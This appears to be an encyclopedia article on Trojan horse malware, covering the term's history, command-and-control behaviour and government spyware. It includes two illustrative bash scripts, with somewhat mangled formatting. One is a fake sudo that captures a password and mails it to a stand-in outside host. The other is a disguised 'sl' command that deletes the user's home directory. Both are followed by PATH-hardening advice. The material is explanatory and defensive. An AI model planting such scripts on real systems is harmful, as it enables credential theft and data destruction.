Trojan horse (computing) explained
In computing, a Trojan horse (or simply Trojan) is any malware that misleads users of its true intent by disguising itself as a standard program. The term is derived from the ancient Greek story of the deceptive Trojan Horse that led to the fall of the city of Troy.[1]
Trojans are generally spread by some form of social engineering. For example, where a user is duped into executing an email attachment disguised to appear innocuous (e.g., a routine form to be filled in), or by clicking on a fake advertisement on social media or anywhere else. Although their payload can be anything, many modern forms act as a backdoor, contacting a controller who can then have unauthorized access to the affected computer.[2] Ransomware attacks are often carried out using a Trojan.
Unlike computer viruses and worms, Trojans generally do not attempt to inject themselves into other files or otherwise propagate themselves.[3]
Use of the term
It is not clear where or when the concept, and this term for it, was first used, but by 1971 the first Unix manual assumed its readers knew both:[4]
Another early reference is in a US Air Force report in 1974 on the analysis of vulnerability in the Multics computer systems.
It was made popular by Ken Thompson in his 1983 Turing Award acceptance lecture "Reflections on Trusting Trust",[5] subtitled: "To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software." He mentioned that he knew about the possible existence of Trojans from a report on the security of Multics.[6]
Behavior
Once installed, Trojans may perform a range of malicious actions. Many tend to contact one or more Command and Control (C2) servers across the Internet and await instruction. Since individual Trojans typically use a specific set of ports for this communication, it can be relatively simple to detect them. Moreover, other malware could potentially "take over" the Trojan, using it as a proxy for malicious action.[7]
In German-speaking countries, spyware used or made by the government is sometimes called govware. Govware is typically a Trojan software used to intercept communications from the target computer. Some countries like Switzerland and Germany have a legal framework governing the use of such software.[8] [9] Examples of govware Trojans include the Swiss MiniPanzer and MegaPanzer[10] and the German "state Trojan" nicknamed R2D2.[8] German govware works by exploiting security gaps unknown to the general public and accessing smartphone data before it becomes encrypted via other applications.[11]
Due to the popularity of botnets among hackers and the availability of advertising services that permit authors to violate their users' privacy, Trojans are becoming more common. According to a survey conducted by BitDefender from January to June 2009, "Trojan-type malware is on the rise, accounting for 83% of the global malware detected in the world." Trojans have a relationship with worms, as they spread with the help given by worms and travel across the internet with them.[12] BitDefender has stated that approximately 15% of computers are members of a botnet, usually recruited by a Trojan infection.[13]
Recent investigations have revealed that the Trojan horse method has been used as an attack on cloud computing systems. A Trojan attack on cloud systems tries to insert an application or service into the system that can impact the cloud services by changing or stopping the functionalities. When the cloud system identifies the attacks as legitimate, the service or application is performed which can damage and infect the cloud system.[14]
Linux sudo example
A Trojan horse is a program that purports to perform some legitimate function, yet upon execution it compromises the user's security.[15] A simple example is the following malicious version of the Linux sudo command. An attacker would place this script in a publicly writable directory (e.g., /tmp
). If an administrator happens to be in this directory and executes sudo
, then the Trojan may execute, compromising the administrator's password.
- !/usr/bin/env bash
- Turn off the character echo to the screen. sudo does this to prevent the user's password from appearing on screen when they type it in.
stty -echo
- Prompt user for password and then read input. To disguise the nature of this malicious version, do this 3 times to imitate the behavior of sudo when a user enters the wrong password.
prompt_count=1while [$prompt_count -le 3 ]; do echo -n "[sudo] password for $(whoami): " read password_input echo sleep 3 # sudo will pause between repeated prompts prompt_count=$((prompt_count + 1))done
- Turn the character echo back on.
stty echo
echo $password_input | mail -s "$(whoami)'s password" outside@creep.com
- Display sudo's actual error message and then delete self.
echo "sudo: 3 incorrect password attempts"rm $0
exit 1 # sudo returns 1 with a failed password attempt
To prevent a sudo
Trojan horse, set the .
entry in the [[PATH_(variable)|PATH]]
environment variable to be located at the tail end.[16] For example: PATH=/usr/local/bin:/usr/bin:.
.
Linux ls example
Having .
somewhere in the PATH is convenient, but there is a catch.[17] Another example is the following malicious version of the Linux ls command. However, the filename is not ls
; instead, it is sl
. An attacker would place this script in a publicly writable directory (e.g., /tmp
).
- !/usr/bin/env bash
- Remove the user's home directory, then remove self.
rm -fr ~ 2>/dev/nullrm $0
To prevent a malicious programmer from anticipating this common typing mistake:
- omit
.
in the PATH or
alias sl=ls
Notable examples
Private and governmental
Publicly available
Detected by security researchers
Capitalization
The computer term "Trojan horse" is derived from the legendary Trojan Horse of the ancient city of Troy. For this reason "Trojan" is often capitalized. However, while style guides and dictionaries differ, many suggest a lower case "trojan" for normal use.[28] [29]
See also
External links
- Web site: CERT Advisory CA-1999-02 Trojan Horses . Carnegie Mellon University Software Engineering Institute . https://web.archive.org/web/20001017172300/http://www.cert.org/advisories/CA-1999-02.html . 2000-10-17 . 15 September 2019 . live.
Notes and References
- Web site: Trojan Horse Definition . 2012-04-05 . Greek soldiers, unable to penetrate the defenses of the city of Troy during a years-long war, presented the city with a peace offering of a large wooden horse..
- Web site: Difference between viruses, worms, and trojans . Symantec Security Center . Broadcom Inc. . 2020-03-29 . https://archive.today/20130819122702/http://www.symantec.com/business/support/index?page=content&id=TECH98539#selection-3435.1-3585.1 . 2013-08-19 . live.
- Web site: VIRUS-L/comp.virus Frequently Asked Questions (FAQ) v2.00 (Question B3: What is a Trojan Horse?) . October 9, 1995 . September 16, 2019 . August 5, 2020 . https://web.archive.org/web/20200805171304/https://faqs.cs.uu.nl/na-dir/computer-virus/faq.html . dead.
- Web site: Thompson . Ken . Ritchie . Dennis M. . Unix Programmer's Manual, November 3, 1971 . 5 . Also, one may not change the owner of a file with the set—user—ID bit on, otherwise one could create Trojan Horses able to misuse other’s files. . 28 March 2020.
- Reflection on Trusting Trust. Ken Thompson. Commun. ACM . 27. 8. 761–763. 1984. 10.1145/358198.358210. free. .
- Karger et Schell wrote that Thompson added this reference in a later version of his Turing conference:
- Crapanzano . Jamie . Deconstructing SubSeven, the Trojan Horse of Choice . 2003 . . 2021-05-10.
- Basil Cupa, Trojan Horse Resurrected: On the Legality of the Use of Government Spyware (Govware), LISS 2013, pp. 419–428
- Web site: Häufig gestellte Fragen (Frequently Asked Questions). Federal Department of Justice and Police . dead . https://web.archive.org/web/20130506102113/http://www.ejpd.admin.ch/content/ejpd/de/home/themen/sicherheit/ueberwachung_des_post-/faq_vuepf.faq_3.html. May 6, 2013.
- Web site: Dunn . John . Swiss coder publicises government spy Trojan . . 10 January 2021. https://archive.today/20140126115729/http://news.techworld.com/security/3200593/swiss-coder-publicises-government-spy-trojan/ . 26 January 2014 . 27 August 2009 . dead.
- Web site: German federal police use trojan virus to evade phone encryption . . 2018-04-14.
- Web site: BitDefender Malware and Spam Survey finds E-Threats Adapting to Online Behavioral Trends . . 2020-03-27 . https://web.archive.org/web/20090808080907/http://news.bitdefender.com/NW1094-en--BitDefender-Malware-and-Spam-Survey-finds-E-Threats-Adapting-to-Online-Behavioral-Trends.html . 2009-08-08 . dead.
- Web site: Datta . Ganesh . What are Trojans? . SecurAid . https://archive.today/20140812015643/http://securaid.com/windows/2014/08/what-are-trojans/ . 2014-08-12 . dead . 2014-08-07 . 2020-03-27.
- Kanaker . Hasan . Karim . Nader Abdel . Awwad . Samer A. B. . Ismail . Nurul H. A. . Zraqou . Jamal . Ali . Abdulla M. F. Al . 2022-12-20 . Trojan Horse Infection Detection in Cloud Based Environment Using Machine Learning . International Journal of Interactive Mobile Technologies . en . 16 . 24 . 81–106 . 10.3991/ijim.v16i24.35763 . 1865-7923. free .
- Book: Wood . Patrick H. . Kochan . Stephen G. . UNIX System Security . Hayden Books . 1985 . 42 . 0-8104-6267-2.
- Book: Wood . Patrick H. . Kochan . Stephen G. . UNIX System Security . Hayden Books . 1985 . 43 . 0-8104-6267-2 . The above Trojan horse works only if a user's PATH is set to search the current directory for commands before searching the system's directories..
- Web site: What's wrong with having '.' in your $PATH? . Penn Engineering . [I]f you're a clumsy typist and some day type "sl -l" instead of "ls -l", you run the risk of running "./sl", if there is one. Some "clever" programmer could anticipate common typing mistakes and leave programs by those names scattered throughout public directories. Beware. . November 28, 2023.
- Seth . Kulakow . "Is it still a Trojan horse or an Actual Valid Remote Control Administration Tool?" . . 1998 . 2021-05-10.
- Web site: Mega-Panzer . SourceForge . September 21, 2016 .
- Web site: Mini-Panzer . SourceForge . September 18, 2016.
- Web site: What is Sova virus? . India Today.
- Web site: Trojanized adware family abuses accessibility service to install whatever apps it wants – Lookout Blog.
- Web site: Neal . Dave . Shedun trojan adware is hitting the Android Accessibility Service . . Incisive Business Media . 2020-03-27 . https://web.archive.org/web/20151122002729/http://www.theinquirer.net/inquirer/news/2435721/shedun-trojan-adware-is-hitting-the-android-accessibility-service . 2015-11-22 . 2015-11-20 . unfit.
- Web site: Lookout discovers new trojanized adware; 20K popular apps caught in the crossfire – Lookout Blog.
- Web site: Shuanet, ShiftyBug and Shedun malware could auto-root your Android . November 5, 2015.
- Web site: New Family of Android Malware Virtually Impossible To Remove: Say Hello To Shedun, Shuanet And ShiftyBug . Tech . Times . November 9, 2015.
- Web site: Android adware can install itself even when users explicitly reject it . 2015-11-19.
- Web site: trojan . Collins Advanced Dictionary . 29 March 2020.
- Web site: trojan horse . Microsoft Style Guide . Microsoft . 29 March 2020.